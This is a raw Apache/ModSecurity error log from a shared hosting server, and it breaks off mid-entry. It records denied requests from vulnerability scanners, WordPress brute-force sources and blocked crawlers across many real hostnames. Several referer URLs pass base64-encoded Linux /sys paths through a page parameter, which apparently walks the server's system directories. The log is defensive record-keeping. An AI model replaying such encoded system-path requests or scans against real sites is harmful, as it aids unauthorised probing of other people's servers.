https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:35.806918 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:35.998061 2026] [access_compat:error] [pid 531155:tid 531187] [remote 57.141.14.48:56369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:35.998503 2026] [access_compat:error] [pid 531155:tid 531187] [remote 57.141.14.48:56369] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:36.110926 2026] [security2:error] [pid 531155:tid 531243] [remote 17.246.23.36:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yMCmiP80klyS0NnoSLQABaFc"] [Sat Jun 13 18:13:36.155720 2026] [security2:error] [pid 531155:tid 531344] [client 114.119.150.5:48581] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.indoorenvironmentaltesting.com"] [uri "/packages/"] [unique_id "ai3yMCmiP80klyS0NnoSMAAAAUU"], referer: https://www.indoorenvironmentaltesting.com/packages/cannonf700_zenlike [Sat Jun 13 18:13:36.255342 2026] [security2:error] [pid 531155:tid 531353] [client 114.119.131.136:46465] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "ethimexcraftsolutions.com"] [uri "/"] [unique_id "ai3yMCmiP80klyS0NnoSNwAAAU4"], referer: https://cashformyhouse.com/sitemap_quality_348.xml [Sat Jun 13 18:13:36.277351 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9pbnB1dC9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:36.277629 2026] [access_compat:error] [pid 531155:tid 531223] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9pbnB1dC9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:36.650090 2026] [security2:error] [pid 531155:tid 531242] [remote 57.141.14.64:52672] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yMCmiP80klyS0NnoSTwABg1Y"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=375&_wpnonce=dacad5c21f&add-to-cart=374 [Sat Jun 13 18:13:36.681425 2026] [security2:error] [pid 531155:tid 531327] [client 114.119.131.151:59387] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.masstransins.com"] [uri "/chilistats/history.php"] [unique_id "ai3yMCmiP80klyS0NnoSUwAAATQ"], referer: https://www.masstransins.com/chilistats/history.php?m=8&y=2019 [Sat Jun 13 18:13:36.684685 2026] [security2:error] [pid 531155:tid 531349] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_fetchbody_error.phpt"] [unique_id "ai3yMCmiP80klyS0NnoSVAAAAUo"] [Sat Jun 13 18:13:36.781255 2026] [security2:error] [pid 531155:tid 531343] [client 129.227.46.150:56668] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.46.227.129.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "izubaplanners.com"] [uri "/wp-login.php"] [unique_id "ai3yMCmiP80klyS0NnoSXQAAAUQ"] [Sat Jun 13 18:13:36.817911 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:13:36.818333 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:13:36.870008 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.24:21940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:36.870274 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.24:21940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:37.136023 2026] [security2:error] [pid 531155:tid 531283] [remote 17.246.15.210:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 210.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yMSmiP80klyS0NnoScwABhX8"] [Sat Jun 13 18:13:37.140372 2026] [security2:error] [pid 531155:tid 531250] [remote 17.22.245.116:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 116.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yMSmiP80klyS0NnoSdQABS14"] [Sat Jun 13 18:13:37.164946 2026] [security2:error] [pid 531155:tid 531390] [client 114.119.154.41:21763] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "syra.pikarthouse.com"] [uri "/masonry-layout/"] [unique_id "ai3yMSmiP80klyS0NnoSeAAAAXM"], referer: https://syra.pikarthouse.com/parallax-blog [Sat Jun 13 18:13:37.343063 2026] [security2:error] [pid 531155:tid 531189] [remote 74.7.243.201:51836] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.243.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "onemontgomerygreen.org"] [uri "/index.php/wp-json/tribe/events/v1/events/"] [unique_id "ai3yMSmiP80klyS0NnoShgABQCE"], referer: https://onemontgomerygreen.org/calendarevents/tag/food-justice/day/2026-11-16/ [Sat Jun 13 18:13:37.400378 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.26:44160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:37.400825 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.26:44160] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:37.406661 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:13:37.407121 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:13:37.590353 2026] [security2:error] [pid 531155:tid 531300] [client 114.119.145.205:26065] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "silverlakess.com"] [uri "/blog/cache/9aba891705961efa64ac8874e5b47103"] [unique_id "ai3yMSmiP80klyS0NnoSlwAAARk"], referer: https://silverlakess.com/blog/cache/9aba891705961efa64ac8874e5b47103 [Sat Jun 13 18:13:37.614646 2026] [access_compat:error] [pid 531155:tid 531269] [remote 57.141.14.19:25164] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:37.615069 2026] [access_compat:error] [pid 531155:tid 531269] [remote 57.141.14.19:25164] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:37.872197 2026] [access_compat:error] [pid 531155:tid 531211] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2lk [Sat Jun 13 18:13:37.872492 2026] [access_compat:error] [pid 531155:tid 531211] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2lk [Sat Jun 13 18:13:38.016067 2026] [security2:error] [pid 531155:tid 531183] [remote 173.236.215.92:38688] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 92.215.236.173.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yoozu.fr"] [uri "/xmlrpc.php"] [unique_id "ai3yMimiP80klyS0NnoSrQABhBs"] [Sat Jun 13 18:13:38.016233 2026] [security2:error] [pid 531155:tid 531407] [client 173.236.215.92:38688] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "yoozu.fr"] [uri "/xmlrpc.php"] [unique_id "ai3yMimiP80klyS0NnoSrQABhBs"] [Sat Jun 13 18:13:38.065077 2026] [security2:error] [pid 531155:tid 531225] [remote 17.22.253.129:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yMimiP80klyS0NnoSsAABOEU"] [Sat Jun 13 18:13:38.191824 2026] [access_compat:error] [pid 531155:tid 531234] [remote 216.73.216.182:28671] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:38.192236 2026] [access_compat:error] [pid 531155:tid 531234] [remote 216.73.216.182:28671] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:38.228265 2026] [security2:error] [pid 531155:tid 531324] [client 114.119.156.9:65203] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.craigbrownphd.com"] [uri "/blog/page/26/"] [unique_id "ai3yMimiP80klyS0NnoSuAAAATE"], referer: http://www.craigbrownphd.com/blog/page/27/ [Sat Jun 13 18:13:38.334530 2026] [access_compat:error] [pid 531155:tid 531187] [remote 57.141.14.96:48291] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:38.334800 2026] [access_compat:error] [pid 531155:tid 531187] [remote 57.141.14.96:48291] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:38.410776 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL2RldmljZS9kcml2ZXI= [Sat Jun 13 18:13:38.411065 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL2RldmljZS9kcml2ZXI= [Sat Jun 13 18:13:38.531791 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.86:55138] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:38.532064 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.86:55138] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:38.656321 2026] [security2:error] [pid 531155:tid 531403] [client 114.119.158.113:46739] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.qsrbolivia.com"] [uri "/51de45b3z3e71xbu6cfd.html"] [unique_id "ai3yMimiP80klyS0NnoS0wAAAYA"], referer: http://www.qsrbolivia.com/51de45b3z3e71xbu6cfd.html [Sat Jun 13 18:13:38.670229 2026] [security2:error] [pid 531155:tid 531172] [remote 17.241.219.136:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id 